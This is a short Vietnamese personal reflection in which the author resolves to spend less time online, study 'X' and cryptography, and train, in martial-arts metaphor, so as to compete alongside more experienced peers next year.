Trong thời gian tới, sẽ chấm dứt việc lang thang trên mạng nhiều như vừa qua. Tiếp tục đào sâu vào X và học thêm Crypto. Sang năm hi vọng sẽ đủ nội công thi đấu cùng mấy anh. Và mình còn ôm ấp cả một dự định lớn hơn nữa .

Lần hạ sơn này là lần hạ sơn đầu tiên, cũng đụng chạm nhiều điều, làm mình thêm quyết tâm hơn. Sắp tới, sẽ lên núi để tiếp tục luyện công, tìm lại giá trị cho chính mình.